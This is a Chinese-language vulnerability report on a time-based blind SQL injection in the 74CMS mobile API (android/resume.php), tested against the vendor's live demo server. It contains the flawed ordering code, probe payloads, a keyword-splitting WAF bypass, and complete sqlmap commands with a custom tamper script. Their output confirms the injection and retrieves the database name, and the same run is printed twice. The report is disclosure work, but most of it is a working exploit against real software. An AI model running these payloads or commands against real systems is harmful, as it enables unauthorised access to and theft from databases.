### 简要描述:
骑士CMS某接口1处SQL盲注(官网demo测试)
### 详细说明:
手机客户端接口存在SQL注入,SELECT注入无关键字过滤,理论上可以获取任意数据。
:
```
http://demo.74cms.com/android/resume.php
```
代码:
```
15 if (!empty($aset['displayorder']))
16 {
17 $arr=explode('>',$aset['displayorder']);
18 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"desc";
19 if ($arr[0]=="rtime")
20 {
21 $orderbysql=" ORDER BY r.refreshtime {$arr[1]}";
22 }
23 }
```
displayorder参数过滤不正确导致SQL注入。
"displayorder":"rtime> abd #desc"时返回数据库错误:
[<img src="https://images.seebug.org/upload/201504/2320221378bd0087001415e0775775488567aa3b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/2320221378bd0087001415e0775775488567aa3b.png)
"displayorder":"rtime> limit 1 #desc"返回一行数据:
[<img src="https://images.seebug.org/upload/201504/232022276e23530696cf40d8ea262ddc13648ce2.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/232022276e23530696cf40d8ea262ddc13648ce2.png)
手机客户端接口没有太多的过滤,可以注入SELECT语句,为了绕过WAF,我们需要把SELECT语句转换一下:"SELECT" => "SEL<A>ECT"等等,随手写个sqlmap的tamper script来帮助绕过WAF。
```
$ python sqlmap.py -u "http://demo.74cms.com/android/resume.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}" --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:37:21
[19:37:21] [INFO] loading tamper script '74cmsbetween'
[19:37:21] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5'
[19:37:21] [INFO] testing connection to the target URL
[19:37:25] [INFO] testing if the target URL is stable. This can take a couple of seconds
[19:37:28] [INFO] target URL is stable
[19:37:29] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[19:37:31] [INFO] testing for SQL injection on POST parameter 'req'
[19:37:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[19:37:33] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[19:38:52] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[19:38:52] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))cFmJ)#desc"}
---
[19:39:53] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[19:39:53] [INFO] testing MySQL
[19:39:53] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[19:40:10] [INFO] confirming MySQL
[19:40:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[19:40:34] [INFO] fetched data logged to text files under '/home/abcd/.sqlmap/output/demo.74cms.com'
[*] shutting down at 19:40:34
```
获取一下数据库名:
```
$ python sqlmap.py -u "http://demo.74cms.com/android/resume.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}" --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:04:49
[20:04:49] [INFO] loading tamper script '74cmsbetween'
[20:04:49] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1'
[20:04:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))sWwU)#desc"}
---
[20:04:53] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[20:04:53] [INFO] testing MySQL
[20:04:57] [INFO] confirming MySQL
[20:04:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:04:57] [INFO] fetching current database
[20:04:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[20:06:18] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
demo
current database: 'demo'
[20:10:08] [INFO] fetched data logged to text files under '/home/abcd/.sqlmap/output/demo.74cms.com'
[*] shutting down at 20:10:08
```
### 漏洞证明:
```
$ python sqlmap.py -u "http://demo.74cms.com/android/resume.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}" --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:04:49
[20:04:49] [INFO] loading tamper script '74cmsbetween'
[20:04:49] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1'
[20:04:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))sWwU)#desc"}
---
[20:04:53] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[20:04:53] [INFO] testing MySQL
[20:04:57] [INFO] confirming MySQL
[20:04:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:04:57] [INFO] fetching current database
[20:04:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[20:06:18] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
demo
current database: 'demo'
[20:10:08] [INFO] fetched data logged to text files under '/home/abcd/.sqlmap/output/demo.74cms.com'
[*] shutting down at 20:10:08
```
暂无评论